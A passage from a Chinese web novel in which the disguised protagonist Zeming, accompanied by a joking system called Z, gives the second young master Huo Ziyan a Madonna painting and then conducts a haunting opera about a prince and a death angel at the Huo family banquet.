【霍子晏二少爷,真的要变成小鼹鼠了】 【系统Z:那现在您有充分的理由,在秋天为他准备一件黑褐色毛衣了,主人】 择明小声发笑道:“你可真话不饶人,Z。别被小心眼坏脾气的人听去,不然你肯定是要被套麻袋教训的。我到时候帮不了你哦。” 【系统Z:主人,您这说法在我这并不成、唉……】 戏弄屡试不爽,系统无可奈何选择沉默。 而这时,霍子晏已打开门。 外头是前次送餐的女仆米娅,她尚未清人就先小嘴一张,喋喋不休。 “莱特你快出来,我跟你说,有一件超级不可思议的大好消息,明天好像大家都要去——啊、二少爷?!” 认出门后的高大身影是谁,米娅脸色陡变,连退三步。 由于米娅是近期临时调换来,霍子晏不眼熟她的脸,当即皱眉质问。 “你上来有什么事?” 字词间满是驱赶意味,再加男人大病后的阴沉脸色,尽显拒人千里之外的气场。米娅受惊不轻,咋舌解释。 “没、我就是上来送餐、送给您,二少爷。” 霍子晏低头,对方两手空空。 哪来的送餐? 就在他快憋不住发火时,屋内另一人叫住他。 “子晏,米娅是我叫上来的。我拜托她,这几天如果有什么要事,就到这找我。谁让我得寸步不离你这‘睡美人’?我之前还在想,如果你真一睡不起,那我不得不依照童话故事,唤醒你了。” 调笑是一根翎羽轻挠逗趣,霍子晏耳根忽烫,支吾答不上话。为掩饰脸不自然的泛红,他连忙退开,逃出女仆米娅视线。 “进来把东西收拾了。” 他最后沉声命令着,面前稳住形象。 小女仆很是配合,尽管诧异又好奇,乖巧低头进屋收拾。 东西多且重,她又是第一次踏入仆人口中盛传的‘恐怖画室’,难免惶恐。更可怕的是,那位二少爷虽然站在角落,可却死死盯着她,鸡皮疙瘩抖爬满身。 米娅心快跳出嗓子眼,还是择明开口缓和这微妙氛围。 “对了米娅,你刚才说要告诉我什么消息?” “是梅尔夫人说的,我们晚上就要准备好,去伊亚郡打下手,听说霍骊小姐她的庆生宴,改换到那里举办了。” “换地方?”霍子晏不禁皱眉,“怎么这么突然。有说是什么地方么。” 米娅犯难道:“这——” “一个好地方。” 择明主动替人回答,顺便奉上画卷。 “幸好你在那之前醒来,我想,你一定不会愿意错过的。这个,我那天晚上忽然做了一个……很长,很令人怀念的梦,可醒来却忘光了。于是就完成了它。我觉得它应该给你更合适。” 听完他的话,霍子晏面露迷惘,但不假思索接过他手里的画。 抽掉丝带,纸页垂落展开。 除惊艳之外,男人眼中是逐级增强的错愕。 一直暗中关注着他们,米娅不敌好奇,手持抹布擦拭桌子偷偷靠近。 那画上,面容圣洁目光慈爱的女子怀抱可爱男婴,三头小羊羔跪坐这对母子周围,或咩咩叫唤,或阖眼小憩,还有一匹仰头,望着女人送给男婴的紫红葡萄。 那串葡萄闪耀着玉石光泽,饱满且鲜嫩欲滴。 距离较远,米娅遗憾只看到这些,她暗暗赞叹道。 多漂亮的圣母圣子图啊。 “你怎么还在这。” 霍子晏冷不丁一问,米娅方寸大乱,连忙弯腰掉头回到原位。 强顶压力工作,她端起托盘不慎用力过猛,刹那失衡向后栽倒。 惊呼未出,手肘忽被撑牢,在这紧急时刻从身后扶住她的人,竟能保持恰到好处的距离。一如关心她时言语中的风度。 “小心,这么多东西还是分批送下去。伤到你就不好了。” 说不清是吓的,还是心怦怦跳导致,她深呼吸试图镇定,结果却因那股好闻的味道更加混乱。 词语匮乏,她无法精确描述。 若硬要打比方,那香味同她幼时第一次经过糕点店,第一次闻到鸡蛋奶油烹饪出的昂贵艺术品——四层蓝莓朱古力蛋糕的芬香,如出一辙。 择明很快退开,米娅似是依依不舍,晃了晃才回神。 她手中重量突然减轻,择明帮忙分担最沉的部分。 “这些,我帮你端下去。” 米娅连声道谢,“啊、谢谢,太感谢你了,莱特。实在不好意思,麻烦你。” “不,我应该做的。” 两天仅在送餐时间接触,但到当下这刻为止,女仆米娅已彻底对‘魔鬼脸莱特’改观。 或许这张面具下真的面目可憎,可也仅限伤疤部分。她偷瞄对方颈上的烧痕,忍不住想。 比起阴晴不定的二少爷,危险多情的三少爷,莱特·莱恩举手投足的绅士格调,着实赚足好感。 “那么,我先下去了,”择明到门边,望着霍子晏眼含期待,“明天你会去吗,子晏。” 霍子晏收起画卷,沉吟许久,终究点头扯出一个微笑。 “若你在,我也一定回去。所以你会去吗?” “自然。” 门将那两道身影与光线关在屋外,霍子晏像被抽空力气,摇晃着坐倒在地。 再看画卷内容,眼底泛起哀伤。 男婴依偎母亲怀中,面团般软弹的小脸尽是孺慕之情。他或许看不出画中圣母有几分像谁,可从男婴眉的眼间他找出了莱特·莱恩的影子。 所以,这到底是巧合,还是对方察觉端倪后的故意使然。 霍子晏逼迫自己不去猜测,可却事与愿违,他浑浑噩噩泡在画室里,将每张赠予的画作摆在膝上流连,只能是越来越陷进纠缠他的困扰中,陷进只对一人的复杂情感中。 等执事 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至于主办人霍子骥,他照旧是除霍昭龙之外最夺目的存在。今天他难得正装穿得整齐,身边不带莺莺燕燕,与宾客推杯换盏,谈笑风生,倒把几名受邀死党看得目瞪口呆。 趁周围无人的空档,他铁哥们之一,银行长之子杰里尔·伯恩,立马勾住他脖子。 “我们的这匹大种马是怎么了?终于被你们家那个医生阉了?” 霍子骥不着痕迹推开人,说道:“注意点,我爸我妈可都在场。” “我当然知道。我家老不死不是也在,正和你爸热情客套着呢。瞧他那狗腿样,哈!” 杰里尔摊手讥笑着,话锋又一转。 “话说我开始就想问了,虽然这地方实属‘宝地’,可能做的只有喝酒跳舞和听曲,那个投资人今晚压根没来不是么?” 无心听死党废话,霍子骥取出怀表,一再确认时间。 “他来不来没什么,给我沾够光就行,”说到这,他拍打对方后背,得逞一笑,“还有,你可别下定论太早。” 铜酒杯拿在右手,霍子骥用银汤匙碰撞,清脆声音如铃声吸引所有人注意。 “夜色正浓,兴致正盛,我霍子骥再次感谢各为肯赏脸,愿意赴宴替我们霍家长女庆生。鄙人不才,不如就先跳过枯燥乏味的致谢词,马上开始最后一道‘压轴甜品’。请大家跟我移步,到另外的用餐地。” 霍夫人正与几位太太攀谈,忽然听这一茬,立即走出后方。 只可惜霍子骥没有给她询问时间,径直率领宾客来到下层。 总共三百多号人,正好包揽贵宾席位。视角最好,亦是最隐蔽的‘天台之位’,毫无悬念分给当日寿星。 所有人带着疑惑看着血红帷幕缓缓拉开,悬顶巨大吊灯黯淡的瞬间,这群上流阶层的看客自觉安静。 散光打在密集排座的乐团上方,人们终于发觉,这将是一场歌剧表演。 位于观众席侧方,霍子晏可清楚看见蓝衣指挥脸上的银色面具。 他起身,不是震惊于莱特·莱恩的忽然出现。 而是从第一节旋律冲击心魂开始,身躯无法控制颤抖。 女高音用着咏叹唱腔,将传说背景娓娓道来。 王子安德尔为躲避死神追杀,独自踏上布满荆棘的绝望之旅。 魔鬼戏弄他,天神背弃他,沦落荒芜之地的他终于想到放弃,将灵魂交付无情死神。 就是那一刻,自诩死亡天使的生物降临了。 它的亲吻冰冷,怀抱散发着坟地的腐朽气息,可却能将死神抵挡在外。 它允诺美好未来,承诺帮助这落魄王子,只需安德尔与之立下誓约,满足它永生永世形影相伴,不再将爱给予任何人的条件。 金钱,名誉,一度丧失的王族之位,都在今后被安德尔逐一夺回,比以往强盛富足数倍。 他亦遵守诺言,冰冷宫殿里仅许只有他看得见,听得见的死亡天使陪伴,拒绝所有示爱,任何温情。 疏远,冷眼,畏惧,种种无情将他包围,唯独与他心灵互通的胞妹安杰拉,时刻感受到他的痛苦挣扎。 多次试探,多次哀求,安杰拉在二人最爱的花园拥住身躯冰冷的兄长。 激昂诡谲之音如峰回路转,飘向静谧安宁的夜,伴着提琴细腻的滑音,女高音男高音双重合唱,声乐融汇,竟如溪水清扬,缠绵心扉。 当此刻,死亡天使才将誓约真容道来。 王子不可逃脱死神追杀,早在沼泽地那日就已断了气息。 之所以存活世间,是因他愿意摈弃为人独属的能力,摈弃爱的念想,归属无爱而永存的死亡天使。 得知真相却已太迟,安德尔怀着深爱胞妹的炙热内心,在安杰拉臂弯中化作粉尘,听着悠悠哼唱,魂归虚无。 管弦乐组在指挥者颤抖的手下配合达至顶峰,曲声被拆碎成纷飞雪片,将可怜人的灵魂送至谁的脚边安歇。 灯光彻底亮起,意味着表演已完全结束。 场内寂静无声,一直持续到伊凡·贝内特率先起身鼓掌。 呐喊,呼唤,伴随着歇斯底里的叫喊,难以想象会在这群体面端庄人身上,看到这般疯狂渴慕的一面。 杰里尔坐在霍子骥的包厢,他高喊‘安可’脖子红到耳根,平日吝啬抠门的他,今天竟把所有钱币全部挥洒下方,用作打赏。 “你可没告诉我,你还有这种、这种——你这好家伙,为什么不早带我来!” 对于杰里尔的质问,霍子骥才缓过那阵乐曲带来的战栗激情,他起身正好看到蓝衣指挥者在向观众鞠躬,姿态优雅好似一只天鹅。 他双手紧紧抓着看台护栏,呵气声如呓语。 “我要是早知道,我才不会带你们来,谁也不带……” 掌声雷动,足足持续十分钟,择明是在汉斯的激动拥抱下走出舞台。 “快、您快去歇着换身衣服,我等会儿一定要狠狠感谢您!莱恩先生,您真的是我们捡到的宝贝!宝贝啊!” 择明哭笑不得躲过汉斯红唇亲吻,示意自己先换衣服。 然而才脱下被汗浸湿的外套,只有他在的更衣室里却突然响起一道声音。 “所以,你就是莱特·莱恩?”